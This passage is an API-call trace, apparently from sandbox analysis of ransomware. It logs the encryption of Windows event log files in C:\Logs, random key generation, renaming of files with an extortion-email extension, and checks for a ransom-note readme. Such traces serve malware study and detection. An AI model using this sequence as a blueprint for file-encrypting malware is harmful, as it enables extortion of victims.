_Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.637] wcscat (in: _Dest=0x2fc4670, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.637] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.638] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.638] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4670) returned 1 [0167.638] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.638] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.638] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.638] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.638] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.639] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e1e0) returned 1 [0167.639] RtlExitUserThread (Status=0x1) Thread: id = 1669 os_tid = 0xc60 [0167.643] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.644] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.644] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.644] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb26f9e8 | out: lpFileSize=0xb26f9e8*=69824) returned 1 [0167.644] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.644] ReadFile (in: hFile=0x528, lpBuffer=0xb26f9bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0xb26f9bc*, lpNumberOfBytesRead=0xb26f9b8*=0x4, lpOverlapped=0x0) returned 1 [0167.645] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96340 [0167.645] NtQuerySystemTime (in: CurrentTime=0xb26f994 | out: CurrentTime=0xb26f994*=132121213249594846) returned 0x0 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x2d3b13c [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x5acc85fc [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xcf30bcc6 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x984dcec6 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xf46c6370 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xe9e66ae2 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xac36cec0 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xa2edfa62 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x8c6526cb [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xaaa8882f [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xd2e6116e [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x17cdb686 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xc7e37164 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xa31a9dac [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xc03831a9 [0167.645] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xd09e71af [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xd22975f [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x413a7506 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xf79c64d1 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xc61a1d77 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x3c4ec6f4 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x339353ec [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x9f6186a9 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x65bc7617 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x43f56d7d [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xda7237ed [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x68a5f055 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x316309b5 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0xee2c47b5 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x5d5ef0e1 [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x2d1903bb [0167.646] RtlRandom (in: Seed=0xb26f9a0 | out: Seed=0xb26f9a0) returned 0x6386c85e [0167.659] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.661] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.661] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.661] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.661] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb26f96c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb26f96c*=0x4096, lpOverlapped=0x0) returned 1 [0167.662] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.662] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.662] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.663] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb26f96c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb26f96c*=0x4096, lpOverlapped=0x0) returned 1 [0167.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.663] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.663] WriteFile (in: hFile=0x528, lpBuffer=0x2f96408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb26f9a4, lpOverlapped=0x0 | out: lpBuffer=0x2f96408*, lpNumberOfBytesWritten=0xb26f9a4*=0x20, lpOverlapped=0x0) returned 1 [0167.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb26f9b8*=0x8, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0xb26f9d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0xb26f9d0*, lpNumberOfBytesWritten=0xb26f9b8*=0x4, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb26f9b8*=0x4, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb26f9b8*=0x6c, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0x2f963e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f963e0*, lpNumberOfBytesWritten=0xb26f9b8*=0x20, lpOverlapped=0x0) returned 1 [0167.667] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb26f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb26f9b8*=0x4, lpOverlapped=0x0) returned 1 [0167.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.667] CloseHandle (hObject=0x528) returned 1 [0167.668] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85218 [0167.668] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" [0167.668] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.668] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.669] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0167.669] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.669] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3b88 [0167.669] wcscpy (in: _Dest=0x2fe3b88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.669] wcscat (in: _Dest=0x2fe3b88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.669] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3b88) returned 1 [0167.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99258) returned 1 [0167.669] RtlExitUserThread (Status=0x1) Thread: id = 1670 os_tid = 0xc5c [0167.670] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.671] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.671] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.671] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb2ef7ac | out: lpFileSize=0xb2ef7ac*=69824) returned 1 [0167.671] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.671] ReadFile (in: hFile=0x528, lpBuffer=0xb2ef780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0xb2ef780*, lpNumberOfBytesRead=0xb2ef77c*=0x4, lpOverlapped=0x0) returned 1 [0167.672] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.673] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.673] NtQuerySystemTime (in: CurrentTime=0xb2ef758 | out: CurrentTime=0xb2ef758*=132121213249908501) returned 0x0 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x6e051fa1 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x9a93d35b [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x22be3773 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x43f76051 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xb6d27504 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x3c00a54e [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xeb4befe6 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x9d9b0705 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xbad150dd [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x71c59190 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x982768d1 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xea18bd6f [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x290edd75 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x521abaee [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x87f3a004 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x47783d8f [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x1b42cd2a [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x4f4b25e4 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x283f9dc0 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x261c1100 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x8034a223 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x1e0f8dcb [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x6e4cd2e1 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xbf489266 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xef15bc35 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x64ac818f [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x47d6f2db [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x86d495b7 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0x25cfa5f8 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xc6d1a5f9 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xb28fffc2 [0167.673] RtlRandom (in: Seed=0xb2ef764 | out: Seed=0xb2ef764) returned 0xaafb7252 [0167.682] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.685] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.685] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb2ef730, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb2ef730*=0x4096, lpOverlapped=0x0) returned 1 [0167.686] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96250 [0167.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96250) returned 1 [0167.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96250 [0167.687] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.687] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb2ef730, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb2ef730*=0x4096, lpOverlapped=0x0) returned 1 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.687] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.687] WriteFile (in: hFile=0x528, lpBuffer=0x2f96250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb2ef768, lpOverlapped=0x0 | out: lpBuffer=0x2f96250*, lpNumberOfBytesWritten=0xb2ef768*=0x20, lpOverlapped=0x0) returned 1 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96250) returned 1 [0167.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.687] WriteFile (in: hFile=0x528, lpBuffer=0x2f96728*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0x2f96728*, lpNumberOfBytesWritten=0xb2ef77c*=0x8, lpOverlapped=0x0) returned 1 [0167.687] WriteFile (in: hFile=0x528, lpBuffer=0xb2ef794*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0xb2ef794*, lpNumberOfBytesWritten=0xb2ef77c*=0x4, lpOverlapped=0x0) returned 1 [0167.688] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb2ef77c*=0x4, lpOverlapped=0x0) returned 1 [0167.688] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb2ef77c*=0x6c, lpOverlapped=0x0) returned 1 [0167.688] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb2ef77c*=0x20, lpOverlapped=0x0) returned 1 [0167.688] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb2ef77c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb2ef77c*=0x4, lpOverlapped=0x0) returned 1 [0167.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.688] CloseHandle (hObject=0x528) returned 1 [0167.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11a) returned 0x2f70d80 [0167.688] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0167.688] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") 